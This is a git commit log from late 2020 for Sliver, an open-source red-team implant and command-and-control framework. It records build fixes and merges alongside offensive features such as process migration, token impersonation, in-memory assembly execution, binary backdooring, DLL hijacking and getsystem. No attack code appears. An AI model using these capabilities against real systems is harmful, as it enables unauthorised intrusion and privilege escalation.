moloch-- 0a4e612fb0 Merge branch 'master' into stage 2020-12-31 22:58:46 -06:00
moloch-- 5fb6616ec5 Merge branch 'master' into go/v1.16beta1 2020-12-31 22:58:20 -06:00
Ronan Kervella 66d723d977 Merge pull request #317 from BishopFox/sideload-fix
Spawndll fix
2020-12-30 09:51:52 +01:00
Ronan Kervella 89d30f5f67 Move address resolution server side 2020-12-29 12:01:03 +01:00
moloch-- e8280bc206 Fixed inf loop in implant on certain types of mtls socket errors (Windows) 2020-12-24 12:20:21 -06:00
moloch-- f87345aa47 Implant builds with go.mod and --debug 2020-12-21 10:05:53 -06:00
moloch-- 292a8024d2 Updated workflows 2020-12-20 17:55:26 -06:00
moloch-- b31c36ccff Platform specific defaults for cc paths 2020-12-20 17:36:04 -06:00
moloch-- f6f0e7e5eb Updated gogo for 1.16 targets 2020-12-20 16:38:23 -06:00
moloch-- 2208415f0f Added some default builds to unit tests 2020-12-20 16:07:29 -06:00
moloch-- 3c661bdac2 Fixed some windows<->default issues, token execute is now in platform specific handler 2020-12-20 15:57:21 -06:00
moloch-- 8e4e75244b Added execute to default builds 2020-12-20 14:50:42 -06:00
moloch-- 61a52a5ec9 Added missing proxy methods to default build 2020-12-20 13:49:57 -06:00
moloch-- 28965e9d79 Added support to build implants for unsupported platforms 2020-12-20 12:47:29 -06:00
moloch-- 65f5cb285a Updated readme 2020-12-20 10:09:31 -06:00
moloch-- 73dc9e7360 Stop animation if migrate cmd fails 2020-12-19 18:41:12 -06:00
moloch-- 244e7197c9 Moved client cli to cobra cmd 2020-12-19 17:13:13 -06:00
moloch-- 2c070a5e16 Updated dockerfile, unit tests pass 2020-12-19 13:16:09 -06:00
moloch-- 09bfb0e235 Updated vendor/ 2020-12-19 11:36:21 -06:00
moloch-- 8bbcb93ac8 Updated paths to use implant/sliver 2020-12-19 11:26:28 -06:00
moloch-- a1142e4789 Added GoVersion to version 2020-12-18 22:51:13 -06:00
moloch-- 1fa2543bb3 Merge branch 'go/v1.16beta1' of github.com:BishopFox/sliver into go/v1.16beta1 2020-12-18 22:04:07 -06:00
moloch-- fdbc3d699d Simplified Makefile, added build tags for server/client 2020-12-18 22:04:01 -06:00
moloch-- 68d7a1b67b Simplified Makefile, added build tags for server/client 2020-12-18 21:54:18 -06:00
moloch-- 054a9ee736 Merge branch 'go/v1.16beta1' of github.com:BishopFox/sliver into go/v1.16beta1 2020-12-18 18:49:30 -06:00
moloch-- d3a53b3ffa Fix bad merge 2020-12-18 18:49:23 -06:00
moloch-- c0a52b7bae Fix bad merge 2020-12-18 18:47:45 -06:00
moloch-- efa84d648a Added other assets' platform 2020-12-18 17:29:50 -06:00
moloch-- d33d066868 Fixed merge mistake 2020-12-18 17:26:30 -06:00
moloch-- 60190ea943 Merged stage 2020-12-18 16:53:02 -06:00
moloch-- eef3b21188 Merge branch 'master' into go/v1.16beta1 2020-12-18 15:58:45 -06:00
moloch-- bf4feddced Implant builds 2020-12-18 15:55:54 -06:00
moloch-- 37fc21c9e2 Implemented go embed, removed packr 2020-12-18 14:27:57 -06:00
moloch-- 91795b790b Updating assets scripts to work with Go v1.16beta1 and darwin/arm64 2020-12-18 12:23:21 -06:00
moloch-- 3fb42c0760 Go v1.15.6 2020-12-16 18:08:08 -06:00
Ronan Kervella b2ccf00311 Merge pull request #314 from BishopFox/rkervella/issue313
Return early if the job failed to start to avoid a nil pointer deref Fixes #313
2020-12-16 17:08:33 +01:00
rkervella 734b70d61d Return early if the job failed to start to avoid a nil pointer deref
Fixes #313
2020-12-16 16:27:47 +01:00
moloch-- e606d6c127 Fix race in tunnel data handler when a tunnel is quickly open/closed 2020-12-13 15:19:43 -06:00
moloch-- f8cb6d74c5 Added js type annotations to proto 2020-12-10 15:50:35 -06:00
Joe 922862cc2b Merge pull request #312 from BishopFox/stage
Stage
2020-12-10 15:35:02 -06:00
moloch-- 66af0577a4 Added js type annotations to proto 2020-12-10 14:58:24 -06:00
moloch-- 45cfa5615d Added zip -j to autorelease zip files 2020-12-09 10:51:39 -06:00
moloch-- 86629d69e8 Merge branch 'master' into stage 2020-12-08 14:13:20 -06:00
Joe 0b9dad2e8d Update README.md 2020-12-08 14:11:58 -06:00
moloch-- 3c24a260de Tweaked update ux 2020-12-06 11:01:14 -06:00
moloch-- 5a985ced0f Update now relies on semver and can download assets 2020-12-06 10:52:58 -06:00
moloch-- 8dab347570 Merge branch 'master' into stage 2020-12-05 18:53:35 -06:00
moloch-- 427d680d7c Working with GitHub actions is miserable 2020-12-05 18:40:42 -06:00
moloch-- 61dd604ea3 Workflow clones git tags 2020-12-05 18:33:12 -06:00
moloch-- 4cc2be3a05 Workflow clones git tags 2020-12-05 18:29:46 -06:00
moloch-- 4ad42cb21e Derive version number from most recent git tag 2020-12-05 18:10:54 -06:00
moloch-- 875decb7be Removed dead code issue #256 2020-12-05 18:10:54 -06:00
moloch-- b7d4ae2195 Implemented server-side seq numbers 2020-12-05 18:10:54 -06:00
moloch-- d05417a0f3 WIP: Added sequence numbers to tunnel data 2020-12-05 18:10:54 -06:00
moloch-- c4791b3673 Derive version number from most recent git tag 2020-12-05 18:10:13 -06:00
moloch-- e6aa92aae9 Removed dead code issue #256 2020-12-05 17:43:11 -06:00
Joe d0a3db0fdb Merge pull request #310 from BishopFox/stage
Stage
2020-12-05 15:19:52 -06:00
moloch-- 77e6b07240 Implemented server-side seq numbers 2020-12-05 15:18:19 -06:00
moloch-- 5c29428331 WIP: Added sequence numbers to tunnel data 2020-12-05 14:28:13 -06:00
moloch-- 8553ac37e6 Added build events 2020-12-05 12:51:42 -06:00
moloch-- f96d43635c Implemented add website with no content 2020-12-05 10:17:11 -06:00
moloch-- 7ca8788c5f Implemented remove website in the correct handler this time 2020-12-05 09:35:31 -06:00
moloch-- 1f63cb2dac Remove root website model on removeWebstie rpc call 2020-12-05 08:52:10 -06:00
Joe 720a6f6d8a Merge pull request #309 from BishopFox/stage
Stage
2020-12-03 10:56:55 -06:00
moloch-- cdab05289b Lazy load webcontent in grpc by default 2020-12-03 10:00:10 -06:00
moloch-- 5045da785d Updated websites cmd to use subcommands, added profile and build rm subcommands 2020-12-03 09:38:23 -06:00
rkervella 3a69faf1ff Bump release to v1.1.3 2020-12-03 10:40:37 +01:00
Ronan Kervella 2a7d925ad8 Merge pull request #308 from BishopFox/stage
Stage
2020-12-03 10:38:02 +01:00
rkervella 4524e44a5e Fix migrate too 2020-12-02 18:40:37 +01:00
rkervella c70ea89694 Hotfix for getsystem bug 2020-12-02 18:37:46 +01:00
Ronan Kervella a658fa66d3 Merge pull request #307 from BishopFox/debug
Add some features to facilitate implants debugging
2020-12-01 17:04:12 +01:00
rkervella f91aaa6526 Merge branch 'master' into debug 2020-12-01 16:34:34 +01:00
Ronan Kervella 7bbe51656e Merge pull request #306 from BishopFox/stage
Stage
2020-12-01 16:33:44 +01:00
rkervella 85c8b0fd4a Disable the debugger check when in debug mode 2020-12-01 16:30:44 +01:00
rkervella 5c0a378645 Change some compilation flags to facilitate debugging 2020-12-01 16:30:18 +01:00
moloch-- 8af0ffb587 Added profile event 2020-11-30 21:40:08 -06:00
moloch-- 0d954e2377 lic whitespace 2020-11-23 14:16:24 -06:00
moloch-- 80bb1e4055 reordered makefile 2020-11-23 13:20:56 -06:00
moloch-- 80b9be3a94 Added gobfuscate lic 2020-11-23 12:47:24 -06:00
moloch-- 06b08a06ca Added a licenses command 2020-11-23 12:42:05 -06:00
moloch-- 484b8bb137 Expanded and small refactor to events 2020-11-22 09:11:56 -06:00
moloch-- 5bb7781893 Merge branch 'stage' 2020-11-19 09:20:56 -06:00
moloch-- 2d8d0cfc07 Bump v1.1.2 for next release 2020-11-19 09:20:46 -06:00
Joe ebf5e0d95d Merge pull request #303 from Matir/stderr
Get output for commands in error.
2020-11-18 23:08:54 -06:00
Joe a3e0865b66 Merge pull request #304 from Matir/patch-4
Error name typo fix
2020-11-18 23:08:22 -06:00
David Tomaschik 764869c5b5 Error name typo fix
s/ErrUnknownMessateType/ErrUnknownMessageType
2020-11-18 20:33:09 -08:00
David Tomaschik 360fa89ded Fix os.ExitError to exec.ExitError 2020-11-18 18:01:38 -08:00
David Tomaschik b5d73c46e8 Fix os.ExitError to *os.ExitError 2020-11-18 17:55:06 -08:00
David Tomaschik 42be5ef29e Don't treat non-zero command exit as an RPC failure. 2020-11-18 17:53:22 -08:00
David Tomaschik 9f2d3a188e Get output for commands in error.
- This includes stderr output for commands, fixing #293.
- This includes showing output (if available) for failed commends,
  fixing #294.
2020-11-18 16:05:14 -08:00
Ronan Kervella 02751d8235 Merge pull request #301 from Matir/patch-3
Do not error if destination does not exist
2020-11-18 20:13:52 +01:00
David Tomaschik 8e69968613 Do not error if destination does not exist
As reported by @Mubix on Slack.  Currently if you supply a destination file that does not exist, an error is thrown.  This ignores NotExist errors since we'll just create a new file.
2020-11-18 10:51:05 -08:00
moloch-- b3e005dd43 Fix linux client path 2020-11-17 15:48:15 -06:00
moloch-- cd191d592f Working with GitHub artifacts is miserable 2020-11-17 15:37:43 -06:00
moloch-- f2b3d00e4d Working with GitHub artifacts is miserable 2020-11-17 15:37:09 -06:00
moloch-- eeb75f8f4f Fix dir of artifacts 2020-11-17 15:25:18 -06:00
moloch-- d7f435fdde Build thin clients 2020-11-17 15:13:33 -06:00
moloch-- 4fe2dd5424 Added client build to static build targets 2020-11-17 14:42:16 -06:00
moloch-- ed8f7e9387 Fixes to autorelease 2020-11-17 14:30:28 -06:00
moloch-- 59fad378f9 Debugging autorelease 2020-11-17 13:16:44 -06:00
moloch-- abb1e4fc60 Autorelease builds client 2020-11-17 12:54:35 -06:00
Joe fbbe477590 Merge pull request #297 from BishopFox/stage
Added automated tagged release
2020-11-17 12:40:04 -06:00
moloch-- b6a74be639 Removed Linux CI workflow for now 2020-11-17 12:16:23 -06:00
moloch-- 34a4ec8069 Added if guards to release builds, removed artifact uploads from build/test 2020-11-17 10:55:39 -06:00
moloch-- bd7a4d04bd Added automated tagged release 2020-11-17 10:34:43 -06:00
Joe e5a0edb725 Merge pull request #296 from BishopFox/stage
SQL Datastore
2020-11-17 10:15:35 -06:00
moloch-- 7a8ae68f91 Tweaked file permissions on regenerated implants 2020-11-17 09:51:46 -06:00
moloch-- 33c5dd8f06 Fixed builds cmd, cleaned up some gorm code, renamed 'slivers' cmd to 'implants' 2020-11-17 09:45:18 -06:00
moloch-- 30bb4b3630 Added legacy db warning 2020-11-16 21:52:18 -06:00
moloch-- 4be07afcae fixed null ptr deref 2020-11-16 21:21:20 -06:00
moloch-- b589e4b8cd Check for CC 2020-11-16 21:09:41 -06:00
moloch-- c99f076c94 Updated makefile to cross-compile sqlite3 2020-11-16 20:49:22 -06:00
moloch-- 9b5d77a70c Fixed profiles 2020-11-16 19:58:20 -06:00
moloch-- 2031843b10 updated deps 2020-11-16 18:24:57 -06:00
moloch-- 690feb715e Updated vendor/ 2020-11-16 18:09:47 -06:00
moloch-- 257c1c8536 Merged master 2020-11-16 18:09:31 -06:00
moloch-- f005519b08 Fixed issues with new-profile cmd 2020-11-16 17:57:28 -06:00
moloch-- 19900f7ba9 Added cryptography unit tests 2020-11-16 16:53:24 -06:00
moloch-- 5a77c90412 Added RemoveContent test 2020-11-16 16:22:34 -06:00
moloch-- 754e80c333 Server-enforced char whitelist for agent names 2020-11-16 15:40:51 -06:00
moloch-- 8c974fdc42 wrote some website/ unit tests 2020-11-16 15:17:45 -06:00
moloch-- 91d72e0dc2 Refactored certs/ and fixed bug in GetCerts api 2020-11-16 11:56:02 -06:00
moloch-- 44cd90ed79 Wired GORM logger to logrus 2020-11-16 10:47:59 -06:00
moloch-- fe2ad7b9cb Return error from certs 2020-11-15 17:16:35 -06:00
moloch-- a9562a3adf Re-implemented RemoveContent 2020-11-15 16:28:19 -06:00
moloch-- 333a7cafec Re-implemented website commands 2020-11-15 16:21:35 -06:00
moloch-- a19476be5e Updated vendor/ 2020-11-15 15:32:59 -06:00
moloch-- 85a64c85ad Updated vendor/ 2020-11-15 15:28:53 -06:00
moloch-- d919ab0699 Pulled from upstream 2020-11-15 15:21:34 -06:00
moloch-- 565569b053 Updated deps 2020-11-15 15:17:53 -06:00
moloch-- 7729f85601 Updated deps 2020-11-15 15:12:20 -06:00
moloch-- f8200fcbd9 Unit tests pass, but not everything is implemented 2020-11-15 15:00:23 -06:00
moloch-- 71d65ca5ad Implant builds 2020-11-15 12:20:31 -06:00
moloch-- 80ac90b4dd fixing bugs in build process 2020-11-15 11:47:31 -06:00
moloch-- f4d4163d69 Fixed db migration and schema issues 2020-11-15 10:49:26 -06:00
moloch-- dc9c721c70 Removed badger from go.mod 2020-11-15 09:46:18 -06:00
moloch-- 4e162547ac Builds but lots of broken stuff 2020-11-15 09:45:26 -06:00
moloch-- d58e459483 Working on porting implants/website/profiles/etc 2020-11-14 15:56:53 -06:00
moloch-- 01f1c2c7d0 Added constraints to certificate model 2020-11-14 10:15:19 -06:00
moloch-- c5b07575e7 Fixed runtime issues 2020-11-14 09:41:43 -06:00
moloch-- 326d0c602a Ported certs to use sql and compiles 2020-11-14 09:32:10 -06:00
Joe bfd3d9221a Merge pull request #295 from BishopFox/stage
Go v1.15.5
2020-11-13 22:57:50 -06:00
moloch-- 07644d89d2 Go v1.15.5 2020-11-13 22:03:06 -06:00
rkervella 04069dc66b Fix message type 2020-11-13 22:52:24 +01:00
rkervella f26303ee3f Fix condition 2020-11-13 22:42:01 +01:00
rkervella c731b703aa Remove duplicate 2020-11-13 22:39:52 +01:00
Ronan Kervella 563ccbf9b3 Merge pull request #290 from BishopFox/rpc-backdoor
Server implementation of the backdoor command
2020-11-10 09:22:11 +01:00
rkervella b71b587af6 update vendor 2020-11-10 08:14:20 +01:00
rkervella fe8e2d5159 Update vendor 2020-11-10 08:13:58 +01:00
rkervella 7c3f3192a2 Update deps 2020-11-10 08:10:11 +01:00
rkervella 0e34b85c90 Change to Binjection/binject 2020-11-10 08:09:37 +01:00
rkervella f9c2ea3504 Move backdoor feature to server code 2020-11-09 18:05:04 +01:00
rkervella c39a7a770d Move backdoor feature to the server code 2020-11-09 18:04:44 +01:00
rkervella 085e867a89 Merge branch 'master' into go-donut 2020-11-09 12:54:55 +01:00
Ronan Kervella 62ac671513 Merge pull request #289 from Matir/patch-2
Improve IP Address Regexp
2020-11-09 08:25:49 +01:00
David Tomaschik 0940eeaae3 Improve IP Address Regexp
MatchString can match in the middle of a string and is not anchored, so this anchors it.  It also ensures each term is 1-3 digits.
2020-11-06 17:27:42 -08:00
Ronan Kervella c7c80159de Merge pull request #288 from BishopFox/stage
Add IP resolution for generate stager
2020-11-06 13:02:56 +01:00
rkervella f97eddd1a5 Merge branch 'master' into stage 2020-11-06 09:58:18 +01:00
rkervella b6503e6dcb Add IP resolution for stager 2020-11-06 09:58:12 +01:00
Joe b60b305f92 Merge pull request #287 from BishopFox/stage
Stage
2020-11-05 21:18:49 -06:00
moloch-- 68d766ddc2 Fix for issue #286 2020-11-05 20:56:55 -06:00
moloch-- 4de635dab7 Fix for issue #286 2020-11-05 20:56:35 -06:00
rkervella c40ae5472d Merge branch 'master' into go-donut 2020-11-03 15:40:21 +01:00
Ronan Kervella 1181992d0f Merge pull request #284 from BishopFox/stage
Add getenv command
2020-11-03 14:18:48 +01:00
rkervella b3861d1c22 Fix #278 2020-11-03 13:28:14 +01:00
rkervella a1635807cc Add missing files 2020-11-03 12:24:48 +01:00
rkervella 2def6a35d7 Add getenv command 2020-11-03 12:24:36 +01:00
Ronan Kervella 7507cf0b20 Merge pull request #283 from Matir/typos
Use correct transport protocol in log message.
2020-11-03 08:30:16 +01:00
David Tomaschik 360029242c Use correct transport protocol in log message. 2020-11-02 14:53:24 -08:00
Joe bf7f2eddd3 Merge pull request #281 from Matir/cleanup
Cleanup server/core
2020-10-27 09:08:55 -05:00
David Tomaschik fca0d58986 Cleanup jobs.go and tunnels.go.
Removes unnecessary pointers and indirection.  Makes code (slightly)
easier to read.
2020-10-26 17:12:36 -07:00
David Tomaschik 49179ccc69 Remove unnecessary pointers in clients.go.
Also simplifies an RWMutex never used as a Read Lock into a plain Mutex.
2020-10-26 17:04:36 -07:00
David Tomaschik db67707947 Remove unnecessary pointers in sessions.go 2020-10-26 17:01:51 -07:00
Ronan Kervella 3128c17c3c Merge pull request #280 from Matir/mtls-fix
Close mtls sockets after a read error.
2020-10-26 20:42:44 +01:00
David Tomaschik 67870d2bbf Close mtls sockets after a read error.
Currently, mtls sockets are left open even after a read error because of
the loop waiting on the Send channel.  This provides a done channel that
results in the socket being closed on a read error.  Cleanup of the
session should prevent future writes into the Send channel.

Fixes #279.
2020-10-26 11:54:00 -07:00
rkervella 5b6560bf0c Add support for multiple arguments 2020-10-25 12:05:12 +01:00
rkervella bdacbd2454 Bump version number 2020-10-25 11:51:47 +01:00
rkervella 87fa925b1a Switch to go-donut for in-memory assembly execution 2020-10-25 11:51:16 +01:00
rkervella 0a13dfcd5d Merge branch 'master' into go-donut 2020-10-25 11:38:30 +01:00
rkervella 15cf1fcf67 Set runtime 2020-10-25 11:37:54 +01:00
Ronan Kervella 3de4485856 Merge pull request #276 from Matir/dnsport
Allow specifying a port for DNS listeners.
2020-10-24 22:25:13 +02:00
Ronan Kervella e2c97cd634 Merge pull request #274 from Matir/logts
Log full timestamps
2020-10-24 22:24:46 +02:00
Ronan Kervella b3ba2da907 Merge pull request #275 from Matir/default-makefile
Makefile: build current platform by default.
2020-10-24 22:24:16 +02:00
David Tomaschik 303b0320dc Allow specifying a port for DNS listeners.
This provides an lport option for DNS listeners as well.  53, of course,
is the default value.

Fixes #270.
2020-10-24 13:03:37 -07:00
David Tomaschik e52757c07c Makefile: build current platform by default.
The default make target will now build for the host platform.  This
also adds a 'static' target that builds the appropriate static build
for the host platform.

Fixes #269.
2020-10-24 12:40:00 -07:00
David Tomaschik f5cb5a49cb Write full timestamps to log files.
Fixes #273.
2020-10-24 12:19:45 -07:00
rkervella 0af6fbb7e8 go-donut WIP 2020-10-24 19:31:15 +02:00
rkervella 0bf8118af1 WIP execute-assembly with go-donut.
Not working at the moment.
2020-10-24 14:49:48 +02:00
rkervella 2d80c86bc5 Update to go 1.15 2020-10-24 13:23:31 +02:00
rkervella a1770eab68 Update vendor 2020-10-24 13:23:16 +02:00
rkervella 9f4d4194c0 Update vendor 2020-10-24 13:22:52 +02:00
rkervella eda25ce919 Update vendor 2020-10-24 13:22:07 +02:00
rkervella dcff7da470 Update go.mod dep versions 2020-10-24 13:21:38 +02:00
rkervella 615e1c6a83 Merge branch 'master' into go-donut 2020-10-21 12:00:18 +02:00
Ronan Kervella 59408827a4 Merge pull request #266 from Matir/sessiontimer
Improve Last Check-In for Sessions
2020-10-12 09:35:18 +02:00
David Tomaschik ee419d9a81 Ensure mtls sessions have time updated on initial connection. 2020-10-09 16:19:00 -07:00
Ronan Kervella e4d5d8d25f Merge pull request #271 from Matir/persist-listeners
Allow Persisting Listeners Over Restart
2020-10-09 18:25:09 +02:00
David Tomaschik 8295c6d747 Persist jobs across server restarts.
This saves jobs to the config when the 'persistent' flag is set.  On
restart, the jobs are restarted as well.  State is saved in the server
config JSON.  If a job is killed, it is removed from the persistent
configuration.

Implements/Fixes #254.
2020-10-09 00:25:39 -07:00
David Tomaschik ba1a0a32b9 Refactor Job starting from RPC to C2.
With the ability to persistently start jobs, it no longer makes
sense for the code that actually stops the jobs to be in the rpc
package.  C2 seemed to be optimal place to move them, since they
listen for incoming C2 connections.
2020-10-08 23:10:54 -07:00
David Tomaschik 1ef1462839 Add persistent flag for listener jobs.
This adds the client-side changes for persistent jobs.  It adds the
protobuf and client changes necessary, but does not include the
server-side changes.
2020-10-08 19:58:22 -07:00
David Tomaschik b2f008d192 Improve Last Check-In for Sessions
As described in #197, there are issues with how LastCheckin is updated.

This adds a helper method to update LastCheckin to ensure it's done in
a consistent fashion, and calls it on all successful commands as well as
pings via the HTTP and DNS listeners.  Persistent connections (e.g.,
mtls) only update on commands, so will appear stale otherwise.

It no longer fills in LastCheckin for persistent connections when
someone runs the `sessions` command (or other grpc requests), so we
don't get overly-optimistic versions of the LastCheckin.
2020-10-08 13:29:12 -07:00
Joe 78e3809aa2 Merge pull request #264 from BishopFox/stage
Differentiate profile name from agent name
2020-10-07 07:55:22 -05:00
rkervella 101f62e567 Update help 2020-10-07 10:36:50 +02:00
rkervella a4f55c322d Differentiate profile name from agent name 2020-10-07 10:31:16 +02:00
rkervella 155d50e69e Switch to ascii instead of alphanum 2020-10-06 20:24:45 +02:00
rkervella 35a0cd38fc Switch from alphanum to ascii support for agent/profile name 2020-10-06 11:55:11 +02:00
Joe e13003b49b Merge pull request #263 from BishopFox/stage
Add canaries to mTLS transport
2020-10-05 08:49:24 -05:00
rkervella 601b64cda9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2020-10-05 10:41:50 +02:00
rkervella e15130147e Add canary to mtls transport 2020-10-05 10:41:30 +02:00
rkervella 94f4965ada Add error checks in generate 2020-10-05 10:10:15 +02:00
moloch-- f621beb38d Merge branch 'master' into stage 2020-10-04 17:47:55 -05:00
Joe ed969af156 Merge pull request #260 from Matir/filelimits
Add support for a File Exists Limit.
2020-10-04 17:47:08 -05:00
Joe 8f36e44675 Merge pull request #261 from Matir/codenames-fix
Check errors from assetsBox.Find
2020-10-04 17:46:41 -05:00
Joe 532da22805 Merge pull request #262 from Matir/random-name
Improve random name generation.
2020-10-04 17:45:27 -05:00
David Tomaschik 597186a3e2 Fix random name generation.
This handles errors in name generation more gracefully by:

1. Propagating errors up instead of making them Fatal.
2. Verifying that files have contents to avoid a panic from passing -1
   to random.Intn.
3. Refactoring code to reduce duplication.
2020-10-04 14:03:31 -07:00
David Tomaschik 95d7a55fbf Check errors from assetsBox.Find
This fixes #259 and is consistent with other uses in the assets
package.
2020-10-04 12:50:10 -07:00
David Tomaschik 0c250f88ea Use raw strings for formatting filenames.
This allows windows backslash-based paths to not need a double
backslash in the string literal.
2020-10-04 12:47:18 -07:00
David Tomaschik 3581b00220 Add support for a File Exists Limit.
This checks if a given file exists in the filesystem of the target
when running the implant.  This can be used to limit the implant to
targets with particular software installed.  This was described in
issue #257.

Test cases with /etc/passwd and /etc/this_does_not_exist work locally.
2020-10-04 12:47:10 -07:00
moloch-- e5d9c05baf v1.0.9 2020-10-03 19:37:09 -05:00
Joe 7a339edac1 Merge pull request #258 from guervild/190_change-agent-name
Issue #190 Change agent name
2020-10-03 19:28:46 -05:00
guervild 1845e77fda Remove unused else case 2020-10-03 00:43:29 +02:00
guervild 062ec3708d Merge branch '190_change-agent-name' of https://github.com/guervild/sliver into 190_change-agent-name 2020-10-03 00:32:08 +02:00
guervild c13e741d78 Can now overwrite existing files 2020-10-03 00:30:30 +02:00
guervild ab077724a7 Can now overwrite existing files 2020-10-03 00:12:05 +02:00
guervild 4c3e0e34a2 Add a new command to set agent options, options added to set name 2020-10-03 00:11:16 +02:00
Ronan Kervella f9d4f5e79d Merge pull request #255 from Matir/patch-1
Fix generate flag in help
2020-10-02 10:21:35 +02:00
David Tomaschik ec76d558e6 Fix generate flag in help
The documentation refers to --output-format, but the generate command accepts --format.
2020-10-02 00:16:02 -07:00
Ronan Kervella 7d8d535842 Merge pull request #253 from BishopFox/stage
Add error check
2020-10-01 18:23:41 +02:00
rkervella 78541c15c6 Add error check 2020-10-01 18:05:25 +02:00
Ronan Kervella db18ec86f9 Merge pull request #252 from BishopFox/test/codeql
Add security scan workflow
2020-10-01 18:02:56 +02:00
rkervella 74ea382bc9 vendor update 2020-10-01 17:21:15 +02:00
rkervella 0030b8d4d9 Add job name 2020-10-01 17:14:53 +02:00
rkervella 617ed145e5 Add missing tasks 2020-10-01 17:03:30 +02:00
rkervella 433395ba6a Add codeql-scanning workflow file 2020-10-01 17:00:18 +02:00
rkervella 7a7bbbc688 Independent codeql action 2020-10-01 16:58:30 +02:00
rkervella 05abd6dac0 Run codeql analysis after tests 2020-10-01 13:24:47 +02:00
rkervella d98ecc7c8e Update vendor 2020-10-01 13:13:10 +02:00
rkervella 2888e04e8a test codeql 2020-10-01 12:53:53 +02:00
rkervella 26de6e927c test codeql 2020-10-01 12:52:23 +02:00
rkervella 53d0337d21 test codeql 2020-10-01 12:42:32 +02:00
rkervella a06492e5a3 test codeql 2020-10-01 12:20:10 +02:00
rkervella fe4c4d948e test codeql 2020-10-01 12:09:12 +02:00
rkervella 261aff5389 test codeql 2020-10-01 12:06:22 +02:00
rkervella 1f1d32739a Test codeql 2020-10-01 12:04:17 +02:00
rkervella 63e02c3dc3 Merge branch 'master' into test/codeql 2020-10-01 11:28:19 +02:00
Ronan Kervella 1e6abf53bb Merge pull request #250 from BishopFox/stage
Stage
2020-09-23 19:06:34 +02:00
rkervella 90481406a6 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2020-09-23 18:09:43 +02:00
rkervella 85f0deee8e Use empty argument for service creation with psexec 2020-09-23 18:07:01 +02:00
Ronan Kervella a0ef2faf8e Update CONTRIBUTING.md 2020-09-23 17:44:53 +02:00
Ronan Kervella 923ad264ff Merge pull request #249 from BishopFox/rkervella/issue248
Don't pass unverified parameters to svc.Run() when running as a service.
2020-09-23 10:20:48 +02:00
rkervella 6df6baf8c3 Don't pass unverified parameters to svc.Run() when running as a service.
Fixes #248
2020-09-23 09:53:54 +02:00
guervild 646246d0d4 Init work issue #190-Give alias to each generated agent 2020-09-20 17:19:48 +02:00
Ronan Kervella 326c13ecb9 Merge pull request #246 from ashdoeshax/master
Fix macos shared build failure due to missing stdlib.h compiler error
2020-09-19 09:06:53 +02:00
Ash Fox d013a307c0 Fix macos shared build failure due to missing stdlib.h compiler error 2020-09-17 16:38:42 -07:00
moloch-- 648d37c0d2 bump version 2020-09-16 16:24:07 -05:00
rkervella b77026f62f Merge branch 'master' into go-donut 2020-09-16 12:48:04 +02:00
Joe cb10bc9c24 Merge pull request #245 from BishopFox/priv
Implement `make-token`
2020-09-15 15:40:34 -05:00
rkervella 1f61406f73 Implement make-token, close Feature Request: Make Token #202 2020-09-15 15:30:21 +02:00
rkervella 9a0d9f6dff Add LogonUser syscall for makeToken 2020-09-15 14:05:53 +02:00
Ronan Kervella f7e23aa7de Merge pull request #219 from delta-plus/delta-plus
Overriding commit signing for this one.
2020-08-18 14:51:30 +02:00
rkervella 96817d803a Remove hardcoded arch string 2020-08-16 11:28:17 +02:00
rkervella 86027da3e8 Remove debug statement 2020-08-16 11:22:18 +02:00
rkervella 10a101b7d0 Instant process migration 2020-08-16 11:21:24 +02:00
rkervella 74bc83ab66 Remove dirty hack 2020-08-16 11:21:10 +02:00
rkervella 506a7cf127 Merge branch 'master' into go-donut 2020-08-16 10:41:33 +02:00
Ronan Kervella 01f41a2442 Merge pull request #243 from jabedude/sideoad-footgun
Overriding signed commit requirement.
2020-08-15 19:57:58 +02:00
Ronan Kervella e1f30687a3 Merge pull request #242 from BishopFox/stage
Fix nil pointer deref introduce by PR #239
2020-08-15 19:56:33 +02:00
Joshua Abraham c0806c0239 server: sideload: print usage error if no arguments are provided
Typing `sideoad` with no arguments will cause a panic in the Sliver
server. This patch fixes that and prints an error message.
2020-08-15 12:08:40 -04:00
rkervella 2efa2039d1 Fix nil pointer deref introduce by PR #239 2020-08-15 16:41:09 +02:00
Joe f5cbcea6f7 Merge pull request #239 from 3ndG4me/master
Issue #238 - Session Health Check
2020-08-14 07:28:34 -05:00
3ndG4me a706681107 Merge branch 'master' of github.com:3ndG4me/sliver
Updating fork master with changes upstream
2020-08-13 19:00:48 -04:00
3ndG4me bdf8a17314 add some color to the output and gofmt changes 2020-08-13 19:00:40 -04:00
3ndG4me e03491141c Added health checker to keep track of potentially dead agents and clean them up 2020-08-13 19:00:40 -04:00
Casey Erdmann fef2874c8e Merge pull request #1 from 3ndG4me/feature/session_mgmt_dead_shells
Feature/session mgmt dead shells
2020-08-13 18:58:02 -04:00
3ndG4me d9eefb03a5 add some color to the output and gofmt changes 2020-08-13 18:56:22 -04:00
Joe 707e98a591 Merge pull request #237 from BishopFox/stage
Improve session management
2020-08-13 06:59:44 -05:00
rkervella dd68a81f8c Remove commented code. 2020-08-13 13:41:08 +02:00
rkervella 06c42965fe Fix session handling and skipped session numbers 2020-08-13 13:38:26 +02:00
rkervella dff88c955f Replace ExitProcess with ExitThread 2020-08-13 12:11:01 +02:00
rkervella 4d7219fc05 Merge branch 'master' into go-donut 2020-08-13 10:29:13 +02:00
rkervella b9f5c46ca2 Donut WIP 2020-08-13 10:28:44 +02:00
3ndG4me 83371926aa Added health checker to keep track of potentially dead agents and clean them up 2020-08-13 03:45:21 -04:00
Joe 67e5f355e7 Merge pull request #236 from BishopFox/stage
Go v1.15
2020-08-12 07:42:39 -05:00
moloch-- 44b2de40cf Updated Sliver to v1.0.7 2020-08-12 07:23:12 -05:00
moloch-- 48b666db87 Updated to Go v1.15 2020-08-12 07:13:34 -05:00
Ronan Kervella b844833baf Merge pull request #235 from BishopFox/stage
Differentiate shellcode from shared library to support DLL hijacking
2020-08-11 15:11:05 +02:00
rkervella bbb5f678bb Differentiate shellcode from shared library to support DLL hijacking scenarios. 2020-08-11 13:08:19 +02:00
Ronan Kervella 50928f5a5e Merge pull request #233 from BishopFox/rkervella/issue232
Document service format and usage with psexec
2020-08-06 14:59:52 +02:00
rkervella 414522fa62 Remove memprofiles 2020-08-06 13:22:58 +02:00
rkervella b78ee1ff55 Add docs for service format.
Fixes #232
2020-08-06 13:22:01 +02:00
rkervella a8d19f7bd2 WIP memprofiles 2020-08-06 12:50:26 +02:00
Joe ebe3fc3afa Merge pull request #230 from BishopFox/http-staging
Fix https stage listener issues
2020-08-04 08:46:24 -05:00
